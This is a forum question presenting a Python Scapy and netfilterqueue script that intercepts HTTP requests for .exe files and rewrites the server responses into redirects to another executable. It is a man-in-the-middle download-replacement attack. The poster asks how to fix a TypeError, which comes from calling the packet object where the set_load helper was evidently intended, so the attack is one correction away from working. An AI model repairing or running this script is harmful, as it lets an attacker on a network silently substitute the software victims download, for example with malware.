In my Scapy Script I get an Error, I cannot find a reason for and its solution

Question

#replace_download
import netfilterqueue
import scapy.all as scapy

ack_list = []


def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload()) # i think there is a mistake here, but I don't know how to solve it
    if scapy_packet.haslayer(scapy.Raw):
        if scapy_packet[scapy.TCP].dport == 80:
            if b'.exe' in scapy_packet[scapy.Raw].load:
                print(b'[+] exe Request')
                ack_list.append(scapy_packet[scapy.TCP].ack)
        elif scapy_packet[scapy.TCP].sport == 80:
            if scapy_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scapy.TCP].seq)
                print(b'[+] Replacing file')
                modified_packet = scapy_packet(scapy_packet, b'HTTP/1.1 301 Moved Permanently\nLocation: https://www.rarlab.com/rar/winrar-x64-610b3id.exe\n\n')

                packet.set_payload(bytes(modified_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Type Error: 'IP' object is not callable

Can someone please tell me how to fix this?
